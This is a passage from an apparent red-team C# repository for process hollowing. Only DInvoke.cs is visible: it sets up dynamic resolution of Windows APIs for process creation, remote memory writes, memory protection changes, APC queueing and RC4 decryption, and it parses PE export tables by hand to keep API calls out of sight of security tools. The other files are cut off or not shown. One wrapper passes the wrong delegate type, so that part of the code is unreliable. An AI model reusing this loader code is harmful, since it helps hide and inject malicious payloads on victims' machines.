├── DInvoke.cs
├── Encrypt.cs
├── Program.cs
└── README.md
/DInvoke.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.IO;
4 | using System.Runtime.InteropServices;
5 |
6 | // https://www.redteam.cafe/red-team/shellcode-injection/process-hollowing-dinvoke
7 | namespace DynamicInvoke
8 | {
9 | public static class DELEGATES
10 | {
11 |
12 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
13 | //public delegate Boolean CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, STRUCTS.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STRUCTS.STARTUPINFO lpStartupInfo, out STRUCTS.PROCESS_INFORMATION lpProcessInformation);
14 | public delegate Boolean CreateProcess(string lpApplicationName, string lpCommandLine, ref STRUCTS.SECURITY_ATTRIBUTES lpProcessAttributes, ref STRUCTS.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, STRUCTS.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STRUCTS.STARTUPINFO lpStartupInfo, out STRUCTS.PROCESS_INFORMATION lpProcessInformation);
15 |
16 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
17 | public delegate UInt32 ZwQueryInformationProcess(IntPtr hProcess, Int32 procInformationClass, ref STRUCTS.PROCESS_BASIC_INFORMATION procInformation, UInt32 ProcInfoLen, ref UInt32 retlen);
18 |
19 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
20 | public delegate bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesRead);
21 |
22 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
23 | public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
24 |
25 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
26 | public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
27 |
28 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
29 | public delegate IntPtr OpenThread(STRUCTS.ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId);
30 |
31 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
32 | public delegate Boolean VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
33 |
34 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
35 | public delegate IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
36 |
37 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
38 | public delegate uint ResumeThread(IntPtr hThhread);
39 |
40 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
41 | public delegate void SystemFunction032(ref STRUCTS.UNICODE_STRING data, ref STRUCTS.UNICODE_STRING key);
42 |
43 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
44 | public delegate UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle);
45 |
46 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
47 | public delegate void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString);
48 | }
49 |
50 | public class STRUCTS
51 | {
52 | [Flags]
53 | public enum ProcessCreationFlags : uint
54 | {
55 | ZERO_FLAG = 0x00000000,
56 | CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
57 | CREATE_DEFAULT_ERROR_MODE = 0x04000000,
58 | CREATE_NEW_CONSOLE = 0x00000010,
59 | CREATE_NEW_PROCESS_GROUP = 0x00000200,
60 | CREATE_NO_WINDOW = 0x08000000,
61 | CREATE_PROTECTED_PROCESS = 0x00040000,
62 | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
63 | CREATE_SEPARATE_WOW_VDM = 0x00001000,
64 | CREATE_SHARED_WOW_VDM = 0x00001000,
65 | CREATE_SUSPENDED = 0x00000004,
66 | CREATE_UNICODE_ENVIRONMENT = 0x00000400,
67 | DEBUG_ONLY_THIS_PROCESS = 0x00000002,
68 | DEBUG_PROCESS = 0x00000001,
69 | DETACHED_PROCESS = 0x00000008,
70 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
71 | INHERIT_PARENT_AFFINITY = 0x00010000
72 | }
73 |
74 | [Flags]
75 | public enum ThreadAccess : int
76 | {
77 | TERMINATE = (0x0001),
78 | SUSPEND_RESUME = (0x0002),
79 | GET_CONTEXT = (0x0008),
80 | SET_CONTEXT = (0x0010),
81 | SET_INFORMATION = (0x0020),
82 | QUERY_INFORMATION = (0x0040),
83 | SET_THREAD_TOKEN = (0x0080),
84 | IMPERSONATE = (0x0100),
85 | DIRECT_IMPERSONATION = (0x0200),
86 | THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
87 | THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
88 | }
89 | public struct PROCESS_INFORMATION
90 | {
91 | public IntPtr hProcess;
92 | public IntPtr hThread;
93 | public uint dwProcessId;
94 | public uint dwThreadId;
95 | }
96 |
97 | public struct PROCESS_BASIC_INFORMATION
98 | {
99 | public STRUCTS.NTSTATUS ExitStatus;
100 | public IntPtr PebBaseAddress;
101 | public UIntPtr AffinityMask;
102 | public int BasePriority;
103 | public UIntPtr UniqueProcessId;
104 | public UIntPtr InheritedFromUniqueProcessId;
105 | }
106 |
107 |
108 | public struct SECURITY_ATTRIBUTES
109 | {
110 | public int nLength;
111 | public IntPtr lpSecurityDescriptor;
112 | public int bInheritHandle;
113 | }
114 |
115 |
116 | public struct STARTUPINFO
117 | {
118 | public uint cb;
119 | public string lpReserved;
120 | public string lpDesktop;
121 | public string lpTitle;
122 | public uint dwX;
123 | public uint dwY;
124 | public uint dwXSize;
125 | public uint dwYSize;
126 | public uint dwXCountChars;
127 | public uint dwYCountChars;
128 | public uint dwFillAttribute;
129 | public uint dwFlags;
130 | public short wShowWindow;
131 | public short cbReserved2;
132 | public IntPtr lpReserved2;
133 | public IntPtr hStdInput;
134 | public IntPtr hStdOutput;
135 | public IntPtr hStdError;
136 | }
137 |
138 | [StructLayout(LayoutKind.Sequential)]
139 | public struct UNICODE_STRING
140 | {
141 | public UInt16 Length;
142 | public UInt16 MaximumLength;
143 | public IntPtr Buffer;
144 | }
145 |
146 | ///
147 | /// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
148 | /// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html
149 | ///
150 | public enum NTSTATUS : uint
151 | {
152 | // Success
153 | Success = 0x00000000,
154 | Wait0 = 0x00000000,
155 | Wait1 = 0x00000001,
156 | Wait2 = 0x00000002,
157 | Wait3 = 0x00000003,
158 | Wait63 = 0x0000003f,
159 | Abandoned = 0x00000080,
160 | AbandonedWait0 = 0x00000080,
161 | AbandonedWait1 = 0x00000081,
162 | AbandonedWait2 = 0x00000082,
163 | AbandonedWait3 = 0x00000083,
164 | AbandonedWait63 = 0x000000bf,
165 | UserApc = 0x000000c0,
166 | KernelApc = 0x00000100,
167 | Alerted = 0x00000101,
168 | Timeout = 0x00000102,
169 | Pending = 0x00000103,
170 | Reparse = 0x00000104,
171 | MoreEntries = 0x00000105,
172 | NotAllAssigned = 0x00000106,
173 | SomeNotMapped = 0x00000107,
174 | OpLockBreakInProgress = 0x00000108,
175 | VolumeMounted = 0x00000109,
176 | RxActCommitted = 0x0000010a,
177 | NotifyCleanup = 0x0000010b,
178 | NotifyEnumDir = 0x0000010c,
179 | NoQuotasForAccount = 0x0000010d,
180 | PrimaryTransportConnectFailed = 0x0000010e,
181 | PageFaultTransition = 0x00000110,
182 | PageFaultDemandZero = 0x00000111,
183 | PageFaultCopyOnWrite = 0x00000112,
184 | PageFaultGuardPage = 0x00000113,
185 | PageFaultPagingFile = 0x00000114,
186 | CrashDump = 0x00000116,
187 | ReparseObject = 0x00000118,
188 | NothingToTerminate = 0x00000122,
189 | ProcessNotInJob = 0x00000123,
190 | ProcessInJob = 0x00000124,
191 | ProcessCloned = 0x00000129,
192 | FileLockedWithOnlyReaders = 0x0000012a,
193 | FileLockedWithWriters = 0x0000012b,
194 |
195 | // Informational
196 | Informational = 0x40000000,
197 | ObjectNameExists = 0x40000000,
198 | ThreadWasSuspended = 0x40000001,
199 | WorkingSetLimitRange = 0x40000002,
200 | ImageNotAtBase = 0x40000003,
201 | RegistryRecovered = 0x40000009,
202 |
203 | // Warning
204 | Warning = 0x80000000,
205 | GuardPageViolation = 0x80000001,
206 | DatatypeMisalignment = 0x80000002,
207 | Breakpoint = 0x80000003,
208 | SingleStep = 0x80000004,
209 | BufferOverflow = 0x80000005,
210 | NoMoreFiles = 0x80000006,
211 | HandlesClosed = 0x8000000a,
212 | PartialCopy = 0x8000000d,
213 | DeviceBusy = 0x80000011,
214 | InvalidEaName = 0x80000013,
215 | EaListInconsistent = 0x80000014,
216 | NoMoreEntries = 0x8000001a,
217 | LongJump = 0x80000026,
218 | DllMightBeInsecure = 0x8000002b,
219 |
220 | // Error
221 | Error = 0xc0000000,
222 | Unsuccessful = 0xc0000001,
223 | NotImplemented = 0xc0000002,
224 | InvalidInfoClass = 0xc0000003,
225 | InfoLengthMismatch = 0xc0000004,
226 | AccessViolation = 0xc0000005,
227 | InPageError = 0xc0000006,
228 | PagefileQuota = 0xc0000007,
229 | InvalidHandle = 0xc0000008,
230 | BadInitialStack = 0xc0000009,
231 | BadInitialPc = 0xc000000a,
232 | InvalidCid = 0xc000000b,
233 | TimerNotCanceled = 0xc000000c,
234 | InvalidParameter = 0xc000000d,
235 | NoSuchDevice = 0xc000000e,
236 | NoSuchFile = 0xc000000f,
237 | InvalidDeviceRequest = 0xc0000010,
238 | EndOfFile = 0xc0000011,
239 | WrongVolume = 0xc0000012,
240 | NoMediaInDevice = 0xc0000013,
241 | NoMemory = 0xc0000017,
242 | ConflictingAddresses = 0xc0000018,
243 | NotMappedView = 0xc0000019,
244 | UnableToFreeVm = 0xc000001a,
245 | UnableToDeleteSection = 0xc000001b,
246 | IllegalInstruction = 0xc000001d,
247 | AlreadyCommitted = 0xc0000021,
248 | AccessDenied = 0xc0000022,
249 | BufferTooSmall = 0xc0000023,
250 | ObjectTypeMismatch = 0xc0000024,
251 | NonContinuableException = 0xc0000025,
252 | BadStack = 0xc0000028,
253 | NotLocked = 0xc000002a,
254 | NotCommitted = 0xc000002d,
255 | InvalidParameterMix = 0xc0000030,
256 | ObjectNameInvalid = 0xc0000033,
257 | ObjectNameNotFound = 0xc0000034,
258 | ObjectNameCollision = 0xc0000035,
259 | ObjectPathInvalid = 0xc0000039,
260 | ObjectPathNotFound = 0xc000003a,
261 | ObjectPathSyntaxBad = 0xc000003b,
262 | DataOverrun = 0xc000003c,
263 | DataLate = 0xc000003d,
264 | DataError = 0xc000003e,
265 | CrcError = 0xc000003f,
266 | SectionTooBig = 0xc0000040,
267 | PortConnectionRefused = 0xc0000041,
268 | InvalidPortHandle = 0xc0000042,
269 | SharingViolation = 0xc0000043,
270 | QuotaExceeded = 0xc0000044,
271 | InvalidPageProtection = 0xc0000045,
272 | MutantNotOwned = 0xc0000046,
273 | SemaphoreLimitExceeded = 0xc0000047,
274 | PortAlreadySet = 0xc0000048,
275 | SectionNotImage = 0xc0000049,
276 | SuspendCountExceeded = 0xc000004a,
277 | ThreadIsTerminating = 0xc000004b,
278 | BadWorkingSetLimit = 0xc000004c,
279 | IncompatibleFileMap = 0xc000004d,
280 | SectionProtection = 0xc000004e,
281 | EasNotSupported = 0xc000004f,
282 | EaTooLarge = 0xc0000050,
283 | NonExistentEaEntry = 0xc0000051,
284 | NoEasOnFile = 0xc0000052,
285 | EaCorruptError = 0xc0000053,
286 | FileLockConflict = 0xc0000054,
287 | LockNotGranted = 0xc0000055,
288 | DeletePending = 0xc0000056,
289 | CtlFileNotSupported = 0xc0000057,
290 | UnknownRevision = 0xc0000058,
291 | RevisionMismatch = 0xc0000059,
292 | InvalidOwner = 0xc000005a,
293 | InvalidPrimaryGroup = 0xc000005b,
294 | NoImpersonationToken = 0xc000005c,
295 | CantDisableMandatory = 0xc000005d,
296 | NoLogonServers = 0xc000005e,
297 | NoSuchLogonSession = 0xc000005f,
298 | NoSuchPrivilege = 0xc0000060,
299 | PrivilegeNotHeld = 0xc0000061,
300 | InvalidAccountName = 0xc0000062,
301 | UserExists = 0xc0000063,
302 | NoSuchUser = 0xc0000064,
303 | GroupExists = 0xc0000065,
304 | NoSuchGroup = 0xc0000066,
305 | MemberInGroup = 0xc0000067,
306 | MemberNotInGroup = 0xc0000068,
307 | LastAdmin = 0xc0000069,
308 | WrongPassword = 0xc000006a,
309 | IllFormedPassword = 0xc000006b,
310 | PasswordRestriction = 0xc000006c,
311 | LogonFailure = 0xc000006d,
312 | AccountRestriction = 0xc000006e,
313 | InvalidLogonHours = 0xc000006f,
314 | InvalidWorkstation = 0xc0000070,
315 | PasswordExpired = 0xc0000071,
316 | AccountDisabled = 0xc0000072,
317 | NoneMapped = 0xc0000073,
318 | TooManyLuidsRequested = 0xc0000074,
319 | LuidsExhausted = 0xc0000075,
320 | InvalidSubAuthority = 0xc0000076,
321 | InvalidAcl = 0xc0000077,
322 | InvalidSid = 0xc0000078,
323 | InvalidSecurityDescr = 0xc0000079,
324 | ProcedureNotFound = 0xc000007a,
325 | InvalidImageFormat = 0xc000007b,
326 | NoToken = 0xc000007c,
327 | BadInheritanceAcl = 0xc000007d,
328 | RangeNotLocked = 0xc000007e,
329 | DiskFull = 0xc000007f,
330 | ServerDisabled = 0xc0000080,
331 | ServerNotDisabled = 0xc0000081,
332 | TooManyGuidsRequested = 0xc0000082,
333 | GuidsExhausted = 0xc0000083,
334 | InvalidIdAuthority = 0xc0000084,
335 | AgentsExhausted = 0xc0000085,
336 | InvalidVolumeLabel = 0xc0000086,
337 | SectionNotExtended = 0xc0000087,
338 | NotMappedData = 0xc0000088,
339 | ResourceDataNotFound = 0xc0000089,
340 | ResourceTypeNotFound = 0xc000008a,
341 | ResourceNameNotFound = 0xc000008b,
342 | ArrayBoundsExceeded = 0xc000008c,
343 | FloatDenormalOperand = 0xc000008d,
344 | FloatDivideByZero = 0xc000008e,
345 | FloatInexactResult = 0xc000008f,
346 | FloatInvalidOperation = 0xc0000090,
347 | FloatOverflow = 0xc0000091,
348 | FloatStackCheck = 0xc0000092,
349 | FloatUnderflow = 0xc0000093,
350 | IntegerDivideByZero = 0xc0000094,
351 | IntegerOverflow = 0xc0000095,
352 | PrivilegedInstruction = 0xc0000096,
353 | TooManyPagingFiles = 0xc0000097,
354 | FileInvalid = 0xc0000098,
355 | InsufficientResources = 0xc000009a,
356 | InstanceNotAvailable = 0xc00000ab,
357 | PipeNotAvailable = 0xc00000ac,
358 | InvalidPipeState = 0xc00000ad,
359 | PipeBusy = 0xc00000ae,
360 | IllegalFunction = 0xc00000af,
361 | PipeDisconnected = 0xc00000b0,
362 | PipeClosing = 0xc00000b1,
363 | PipeConnected = 0xc00000b2,
364 | PipeListening = 0xc00000b3,
365 | InvalidReadMode = 0xc00000b4,
366 | IoTimeout = 0xc00000b5,
367 | FileForcedClosed = 0xc00000b6,
368 | ProfilingNotStarted = 0xc00000b7,
369 | ProfilingNotStopped = 0xc00000b8,
370 | NotSameDevice = 0xc00000d4,
371 | FileRenamed = 0xc00000d5,
372 | CantWait = 0xc00000d8,
373 | PipeEmpty = 0xc00000d9,
374 | CantTerminateSelf = 0xc00000db,
375 | InternalError = 0xc00000e5,
376 | InvalidParameter1 = 0xc00000ef,
377 | InvalidParameter2 = 0xc00000f0,
378 | InvalidParameter3 = 0xc00000f1,
379 | InvalidParameter4 = 0xc00000f2,
380 | InvalidParameter5 = 0xc00000f3,
381 | InvalidParameter6 = 0xc00000f4,
382 | InvalidParameter7 = 0xc00000f5,
383 | InvalidParameter8 = 0xc00000f6,
384 | InvalidParameter9 = 0xc00000f7,
385 | InvalidParameter10 = 0xc00000f8,
386 | InvalidParameter11 = 0xc00000f9,
387 | InvalidParameter12 = 0xc00000fa,
388 | ProcessIsTerminating = 0xc000010a,
389 | MappedFileSizeZero = 0xc000011e,
390 | TooManyOpenedFiles = 0xc000011f,
391 | Cancelled = 0xc0000120,
392 | CannotDelete = 0xc0000121,
393 | InvalidComputerName = 0xc0000122,
394 | FileDeleted = 0xc0000123,
395 | SpecialAccount = 0xc0000124,
396 | SpecialGroup = 0xc0000125,
397 | SpecialUser = 0xc0000126,
398 | MembersPrimaryGroup = 0xc0000127,
399 | FileClosed = 0xc0000128,
400 | TooManyThreads = 0xc0000129,
401 | ThreadNotInProcess = 0xc000012a,
402 | TokenAlreadyInUse = 0xc000012b,
403 | PagefileQuotaExceeded = 0xc000012c,
404 | CommitmentLimit = 0xc000012d,
405 | InvalidImageLeFormat = 0xc000012e,
406 | InvalidImageNotMz = 0xc000012f,
407 | InvalidImageProtect = 0xc0000130,
408 | InvalidImageWin16 = 0xc0000131,
409 | LogonServer = 0xc0000132,
410 | DifferenceAtDc = 0xc0000133,
411 | SynchronizationRequired = 0xc0000134,
412 | DllNotFound = 0xc0000135,
413 | IoPrivilegeFailed = 0xc0000137,
414 | OrdinalNotFound = 0xc0000138,
415 | EntryPointNotFound = 0xc0000139,
416 | ControlCExit = 0xc000013a,
417 | InvalidAddress = 0xc0000141,
418 | PortNotSet = 0xc0000353,
419 | DebuggerInactive = 0xc0000354,
420 | CallbackBypass = 0xc0000503,
421 | PortClosed = 0xc0000700,
422 | MessageLost = 0xc0000701,
423 | InvalidMessage = 0xc0000702,
424 | RequestCanceled = 0xc0000703,
425 | RecursiveDispatch = 0xc0000704,
426 | LpcReceiveBufferExpected = 0xc0000705,
427 | LpcInvalidConnectionUsage = 0xc0000706,
428 | LpcRequestsNotAllowed = 0xc0000707,
429 | ResourceInUse = 0xc0000708,
430 | ProcessIsProtected = 0xc0000712,
431 | VolumeDirty = 0xc0000806,
432 | FileCheckedOut = 0xc0000901,
433 | CheckOutRequired = 0xc0000902,
434 | BadFileType = 0xc0000903,
435 | FileTooLarge = 0xc0000904,
436 | FormsAuthRequired = 0xc0000905,
437 | VirusInfected = 0xc0000906,
438 | VirusDeleted = 0xc0000907,
439 | TransactionalConflict = 0xc0190001,
440 | InvalidTransaction = 0xc0190002,
441 | TransactionNotActive = 0xc0190003,
442 | TmInitializationFailed = 0xc0190004,
443 | RmNotActive = 0xc0190005,
444 | RmMetadataCorrupt = 0xc0190006,
445 | TransactionNotJoined = 0xc0190007,
446 | DirectoryNotRm = 0xc0190008,
447 | CouldNotResizeLog = 0xc0190009,
448 | TransactionsUnsupportedRemote = 0xc019000a,
449 | LogResizeInvalidSize = 0xc019000b,
450 | RemoteFileVersionMismatch = 0xc019000c,
451 | CrmProtocolAlreadyExists = 0xc019000f,
452 | TransactionPropagationFailed = 0xc0190010,
453 | CrmProtocolNotFound = 0xc0190011,
454 | TransactionSuperiorExists = 0xc0190012,
455 | TransactionRequestNotValid = 0xc0190013,
456 | TransactionNotRequested = 0xc0190014,
457 | TransactionAlreadyAborted = 0xc0190015,
458 | TransactionAlreadyCommitted = 0xc0190016,
459 | TransactionInvalidMarshallBuffer = 0xc0190017,
460 | CurrentTransactionNotValid = 0xc0190018,
461 | LogGrowthFailed = 0xc0190019,
462 | ObjectNoLongerExists = 0xc0190021,
463 | StreamMiniversionNotFound = 0xc0190022,
464 | StreamMiniversionNotValid = 0xc0190023,
465 | MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
466 | CantOpenMiniversionWithModifyIntent = 0xc0190025,
467 | CantCreateMoreStreamMiniversions = 0xc0190026,
468 | HandleNoLongerValid = 0xc0190028,
469 | NoTxfMetadata = 0xc0190029,
470 | LogCorruptionDetected = 0xc0190030,
471 | CantRecoverWithHandleOpen = 0xc0190031,
472 | RmDisconnected = 0xc0190032,
473 | EnlistmentNotSuperior = 0xc0190033,
474 | RecoveryNotNeeded = 0xc0190034,
475 | RmAlreadyStarted = 0xc0190035,
476 | FileIdentityNotPersistent = 0xc0190036,
477 | CantBreakTransactionalDependency = 0xc0190037,
478 | CantCrossRmBoundary = 0xc0190038,
479 | TxfDirNotEmpty = 0xc0190039,
480 | IndoubtTransactionsExist = 0xc019003a,
481 | TmVolatile = 0xc019003b,
482 | RollbackTimerExpired = 0xc019003c,
483 | TxfAttributeCorrupt = 0xc019003d,
484 | EfsNotAllowedInTransaction = 0xc019003e,
485 | TransactionalOpenNotAllowed = 0xc019003f,
486 | TransactedMappingUnsupportedRemote = 0xc0190040,
487 | TxfMetadataAlreadyPresent = 0xc0190041,
488 | TransactionScopeCallbacksNotSet = 0xc0190042,
489 | TransactionRequiredPromotion = 0xc0190043,
490 | CannotExecuteFileInTransaction = 0xc0190044,
491 | TransactionsNotFrozen = 0xc0190045,
492 |
493 | MaximumNtStatus = 0xffffffff
494 | }
495 |
496 |
497 |
498 | }
499 |
500 | public static class Invoke
501 | {
502 |
503 | public static STRUCTS.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
504 | {
505 | // Craft an array for the arguments
506 | object[] funcargs =
507 | {
508 | PathToFile, dwFlags, ModuleFileName, ModuleHandle
509 | };
510 |
511 | STRUCTS.NTSTATUS retValue = (STRUCTS.NTSTATUS)DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);
512 |
513 | // Update the modified variables
514 | ModuleHandle = (IntPtr)funcargs[3];
515 |
516 | return retValue;
517 | }
518 |
519 | public static void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
520 | {
521 | // Craft an array for the arguments
522 | object[] funcargs =
523 | {
524 | DestinationString, SourceString
525 | };
526 |
527 | DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);
528 |
529 | // Update the modified variables
530 | DestinationString = (STRUCTS.UNICODE_STRING)funcargs[0];
531 | }
532 |
533 | ///
534 | /// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments.
535 | ///
536 | /// The Wover (@TheRealWover)
537 | /// Name of the DLL.
538 | /// Name of the function.
539 | /// Prototype for the function, represented as a Delegate object.
540 | /// Parameters to pass to the function. Can be modified if function uses call by reference.
541 | /// Object returned by the function. Must be unmarshalled by the caller.
542 | public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
543 | {
544 | IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
545 | return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
546 | }
547 |
548 | ///
549 | /// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory.
550 | ///
551 | /// The Wover (@TheRealWover)
552 | /// A pointer to the unmanaged function.
553 | /// Prototype for the function, represented as a Delegate object.
554 | /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.
555 | /// Object returned by the function. Must be unmarshalled by the caller.
556 | public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
557 | {
558 | Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
559 | return funcDelegate.DynamicInvoke(Parameters);
560 | }
561 |
562 |
563 | ///
564 | /// Resolves LdrLoadDll and uses that function to load a DLL from disk.
565 | ///
566 | /// Ruben Boonen (@FuzzySec)
567 | /// The path to the DLL on disk. Uses the LoadLibrary convention.
568 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.
569 | public static IntPtr LoadModuleFromDisk(string DLLPath)
570 | {
571 | STRUCTS.UNICODE_STRING uModuleName = new STRUCTS.UNICODE_STRING();
572 | RtlInitUnicodeString(ref uModuleName, DLLPath);
573 |
574 | IntPtr hModule = IntPtr.Zero;
575 | STRUCTS.NTSTATUS CallResult = LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
576 | if (CallResult != STRUCTS.NTSTATUS.Success || hModule == IntPtr.Zero)
577 | {
578 | return IntPtr.Zero;
579 | }
580 |
581 | return hModule;
582 | }
583 |
584 | ///
585 | /// Helper for getting the base address of a module loaded by the current process. This base
586 | /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
587 | /// manual export parsing. This function uses the .NET System.Diagnostics.Process class.
588 | ///
589 | /// Ruben Boonen (@FuzzySec)
590 | /// The name of the DLL (e.g. "ntdll.dll").
591 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.
592 | public static IntPtr GetLoadedModuleAddress(string DLLName)
593 | {
594 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
595 | foreach (ProcessModule Mod in ProcModules)
596 | {
597 | if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
598 | {
599 | return Mod.BaseAddress;
600 | }
601 | }
602 | return IntPtr.Zero;
603 | }
604 |
605 | ///
606 | /// Helper for getting the pointer to a function from a DLL loaded by the process.
607 | ///
608 | /// Ruben Boonen (@FuzzySec)
609 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").
610 | /// Name of the exported procedure.
611 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.
612 | /// IntPtr for the desired function.
613 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
614 | {
615 | IntPtr hModule = GetLoadedModuleAddress(DLLName);
616 | if (hModule == IntPtr.Zero && CanLoadFromDisk)
617 | {
618 | hModule = LoadModuleFromDisk(DLLName);
619 | if (hModule == IntPtr.Zero)
620 | {
621 | throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
622 | }
623 | }
624 | else if (hModule == IntPtr.Zero)
625 | {
626 | throw new DllNotFoundException(DLLName + ", Dll was not found.");
627 | }
628 |
629 | return GetExportAddress(hModule, FunctionName);
630 | }
631 |
632 | ///
633 | /// Given a module base address, resolve the address of a function by manually walking the module export table.
634 | ///
635 | /// Ruben Boonen (@FuzzySec)
636 | /// A pointer to the base address where the module is loaded in the current process.
637 | /// The name of the export to search for (e.g. "NtAlertResumeThread").
638 | /// IntPtr for the desired function.
639 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
640 | {
641 | IntPtr FunctionPtr = IntPtr.Zero;
642 | try
643 | {
644 | // Traverse the PE header in memory
645 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
646 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
647 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
648 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
649 | Int64 pExport = 0;
650 | if (Magic == 0x010b)
651 | {
652 | pExport = OptHeader + 0x60;
653 | }
654 | else
655 | {
656 | pExport = OptHeader + 0x70;
657 | }
658 |
659 | // Read -> IMAGE_EXPORT_DIRECTORY
660 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
661 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
662 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
663 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
664 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
665 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
666 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
667 |
668 | // Loop the array of export name RVA's
669 | for (int i = 0; i < NumberOfNames; i++)
670 | {
671 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
672 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
673 | {
674 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
675 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
676 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
677 | break;
678 | }
679 | }
680 | }
681 | catch
682 | {
683 | // Catch parser failure
684 | throw new InvalidOperationException("Failed to parse module exports.");
685 | }
686 |
687 | if (FunctionPtr == IntPtr.Zero)
688 | {
689 | // Export not found
690 | throw new MissingMethodException(ExportName + ", export not found.");
691 | }
692 | return FunctionPtr;
693 | }
694 |
695 | }
696 | }
697 |
--------------------------------------------------------------------------------
/Encrypt.cs:
